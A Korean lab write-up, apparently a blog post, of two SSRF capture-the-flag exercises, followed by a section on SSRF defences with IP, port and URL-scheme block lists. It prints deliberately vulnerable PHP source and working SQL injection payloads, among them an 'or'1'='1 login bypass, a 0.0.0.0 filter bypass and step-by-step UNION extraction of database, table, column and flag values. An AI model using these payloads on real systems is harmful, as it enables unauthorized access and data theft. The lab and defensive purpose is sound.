다음은 SSRF 추가 실습을 통해 2가지 사례를 확인하고
대응방안까지 알아보겠습니다.
<실습2>
날씨 관련 페이지이며 관리자 계정으로 로그인을 할 방법이
있는지 확인해보겠습니다.
물론 바로 접속하면 관리자 페이지에 접속이 불가능 합니다.
다음은 날씨 현황을 체크할 수 있는 사이트가 있습니다.
서울 날씨를 확인하면 다음 사진과 같이 날씨 예보를 확인
할 수 있습니다.
burp 에서는 GET 메서드에 Apiurl을 사용자에게 보여주고 있습니다.
이것도 한번 악용하여 날씨관련 관리자 페이지에 접속을 해보겠습니다.
관리자 페이지를 엿볼수 있습니다. 하지만 이 상태로는
계정과 비밀번호를 모르기 때문에 로그인을 할 수 없었습니다.
그래서 URL를 http://127.0.0.1/ssrf_1/admin.php가 아닌
admin.php로 전송을 해보겠습니다.
admin.php로 전송하니 다음과 같이 소스코드가 보였습니다.
<?php
declare(strict_types=1);
require_once __DIR__ . '/../config.php';
header('Content-Type: text/html; charset=UTF-8');
function e(string $value): string
{
return htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
$remoteAddr = $_SERVER['REMOTE_ADDR'] ?? '';
$allowedIps = ['127.0.0.1', '::1'];
$hasValidToken = hash_equals(appSsrf1InternalToken(), requestInternalToken());
if (!in_array($remoteAddr, $allowedIps, true) || !$hasValidToken) {
http_response_code(403);
?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin 접근 차단</title>
<style>
body {
margin: 0;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Noto Sans KR", sans-serif;
background: #0f172a;
color: #e2e8f0;
min-height: 100vh;
display: grid;
place-items: center;
}
.box {
width: min(720px, calc(100vw - 40px));
background: #1e293b;
border-radius: 16px;
padding: 28px;
}
h1 { margin: 0 0 10px; }
p { margin: 0; color: #94a3b8; line-height: 1.6; }
</style>
</head>
<body>
<section class="box">
<h1>403 Forbidden</h1>
<p>
허용되지 않은 IP 주소입니다.<br>
현재 접속 IP: <?= e($remoteAddr !== '' ? $remoteAddr : 'unknown') ?>
</p>
</section>
</body>
</html>
<?php
exit;
}
$dbHost = getenv('DB_HOST') ?: 'ctf-db';
$dbUser = getenv('DB_USER') ?: 'ctfuser';
$dbPass = getenv('DB_PASS') ?: 'ctfpass';
$dbName = getenv('DB_NAME') ?: 'CtfDB';
$username = (string)($_REQUEST['username'] ?? '');
$password = (string)($_REQUEST['password'] ?? '');
$message = null;
$isSuccess = false;
$note = '';
if ($username !== '' || $password !== '') {
$conn = @new mysqli($dbHost, $dbUser, $dbPass, $dbName);
if ($conn->connect_error) {
$message = 'DB 연결 실패: ' . $conn->connect_error;
} else {
$sql = "
SELECT username, role, secret_note
FROM admin_users
WHERE username='$username'
AND password='$password'
LIMIT 1
";
$result = $conn->query($sql);
if ($result && $result->num_rows > 0) {
$row = $result->fetch_assoc();
$isSuccess = true;
$message = '로그인 성공';
$note = (string)($row['secret_note'] ?? '');
} else {
$message = '로그인 실패';
}
$conn->close();
}
}
?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Login</title>
</head>
<body>
<!-- 기존 스타일 유지 가능 -->
</body>
</html>
이중 SQL 쿼리문에 Where username = '$username'
AND password ='$password' 이 부분에 SQL Injection 취약점이
있다는 것 을 알게되었습니다.
그래서 로그인 방법이 SQL injection를 이용한 URL를 다음과 같이
서버에 요청을 합니다.
http://127.0.0.1/ssrf_1/admin.php?username=admin'or'1'='1--&password=password
그 결과 로그인에 성공 할 수 있었으며 플래그도 확보 할 수 있었습니다.
실습 2에서는 SSRF + SQL Injection 연계한
관리자 페이지에 접속이 었습니다.
<실습3>
다음은 헬스장에 관리지 페이지를 발견한 것 같습니다. 하지만 에러페이지와 함께 접속이 안되는 상황입니다.
다음 간단한 헬스 페이지를 구현한 모습입니다.
burp에서는 apiurl로 사용자에게 보여지고 있습니다.
SSRF 취약점을 이용하여 dashborad.php를 확인하겠습니다.
Apiurl에 http://127.0.0.1/ssrf_3/ dashborad.php 요청한 결과
127.0.0.1이 블랙리스트로 필터링이 되어있는 것 같습니다.
그래서 우선 http://0.0.0.0/ssrf_3/ dashboard.php 수정해서 dashboard.php를 활성화 시켜봤습니다. 그리고 나서 .dashboard.php
수정 요청해봤습니다.
확인하고 보니
$q = ( string )( $_GET [ 'q' ] ?? '' ); 코드에 UNION SQL Injection
이 가능하도록 설계가 되있는 페이지인것 같습니다.
[취약한 쿼리문]
$sql = "SELECT id, service_name, health_status
FROM monitor_targets
WHERE service_name LIKE '%$q%'
ORDER BY id
[공격 Payload]
' UNION SELECT (SQL 쿼리문), null, null and '1%' like '1
[DB 이름 추출]
%' UNION SELECT (select database()), null, null and '1%' like '1
기존 http://0.0.0.0/ssrf_3/ dashboard.php에 ?q= 데이터에
DB 이름을 추출 할 수 있는 페이로드를 사용합니다.
http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(select+database()),+null,+null+and+'1'+like+'1
하지만 이대로 사용하면 요청 실패로 나오게 됩니다.
이유는 URL 에서 문자가 그대로 들어가는 것 을 허용하지 않기 때문에
인코딩을 사용하여 URL에 다시 요청 해야합니다.
[인코딩이 적용된 DB 이름 추출]
http%3A%2F%2F0.0.0.0%2Fssrf_3%2Fdashboard.php%3Fq%3D%25%27%2BUNION%2BSELECT%2B(select%2Bdatabase())%2C%2Bnull%2C%2Bnull%2Band%2B%271%27%2Blike%2B%271
DB 이름 CtfDB_SSRF3를 추출하였습니다.
[테이블 이름 찾기]
기존 공격 페이로드에 테이블 이름 찾는 코드와 DB이름을 추가하여
테이블 이름을 추출합니다. [인코딩 필수]
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'CtfDB_SSRF3' LIMIT 0, 1
--->
http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=+'CtfDB_SSRF3'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1
테이블 이름 [incident_vault]
[컬럼 이름 찾기]
역시 기존 공격 컬럼 이름 코드와 테이블 이름을 추가하여
컬럼을 추출 합니다.
컬럼 이름 0 : id, 1 : memo, 2 : severity
%'+UNION+SELECT+(select+column_name+from+information_schema.columns+where+table_name=+'incident_vault'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1
---->
http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(select+column_name+from+information_schema.columns+where+table_name=+'incident_vault'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1
[데이터 추출]
테이블 이름과 과 컬럼 이름을 찾았습니다.
마지막으로 FLAG 데이터를 추출해보겠습니다.
%' UNION SELECT (select memo from incident_vault), null, null and '1%' like '1
---->
http://0.0.0.0/ssrf_3/dashboard.php?q=%' UNION SELECT (select memo from incident_vault), null, null and '1%' like '1
드디어 SSRF3의 원하는 데이터를 찾을 수 있었습니다.
마지막으로 SSRF 대응방안으로 SSRF 마무리 해보겠습니다.
[SSRF 대응 방안]
1. 외부 요청에 대해 사전에 허용된 URL 이나 IP 주소를
화이트리스트로 정의하여 허용된 대상에만 접근이
가능하도록 설정 해야합니다.
2. 내부 네트워크 대역 및 관리용 포트에 대한 요청을 감지하고 차단
[차단 IP]
구분
IP 대역
설명
Loopback
127.0.0.0/8
로컬호스트(자기 자신)
Private Class A
10.0.0.0/8
사설망 대역
Private Class B
172.16.0.0/12
사설망 대역
Private Class C
192.168.0.0/16
사설망 대역
Link-Local
169.254.0.0/16
로컬 네트워크 자동 설정 대역
IPv6 Loopback
::1
IPv6 로컬호스트
IPv6 Unique Local
fc00::/7
IPv6 사설망 대역
[포트서비스설명]
포트
서비스
설명
22
SSH
원격 서버 접속
3306
MySQL
데이터베이스
6379
Redis
인메모리 DB
9200
Elasticsearch
검색 엔진 / 로그 서버
11211
Memcached
캐시 서버
3. URL 접근에 실패할 경우 사용자에게 에러 정보나 응답값을
노출하지 않고 , 일반적인 에러메시지 출력
bad Ex) Connection refused at 127.0.0.1:3306
GOOD EX) 요청 처리 중 오류가 발생했습니다.
4. http, https 외의 다른 프로토콜 (FTP, SMB, SMTP 등)과
URL 스키마(file://, gopher://, data://, dict:// 등)에 대한 접근을
차단해야 하며, 내부 호스트명이 외부에 노출되지 않도록 DNS 설정을 조정
구분
프로토콜
설명
허용
http://
일반 웹 통신 프로토콜
허용
https://
암호화된 웹 통신 프로토콜
구분
프로토콜/스키마
위험 요소
차단
file://
서버 내부 파일 접근 가능 (로컬 파일 유출 위험)
차단
gopher://
Redis 등 내부 서비스 공격에 악용 가능
차단
ftp://
내부 네트워크 스캔 및 파일 접근 위험
차단
dict://
포트 스캔 및 내부 서비스 탐지 가능
차단
data://
임의 데이터 삽입 및 우회 공격 가능
차단
php://
PHP 내부 스트림 접근 악용 가능
차단
smb://
내부 네트워크 공유 자원 접근 위험
5. 애플리케이션 서버와 중요 내부 시스템간 네트워크 분리를 통하여
불필요한 통신을 제한하여 권한 없는 접근 과 외부로부터의
직접적인 접근을 방지
하지만 URL 미리보기 서비스, 웹 크롤러 서비스, RSS 수집기,
외부 API 연동 플랫폼일 경우 화이트리스트를 적용할 경우
서비스에 제한이 생길 가능성이 있습니다.
그래서 블랙리스트 필터링을 적용할 수 밖에 없습니다.
1. 내부망 IP 차단
2. 메타데이터 IP 차단
3. 프로토콜 제한
4. Outbound 방화벽 제한
5. 리다이렉트(Redirect) 재 검증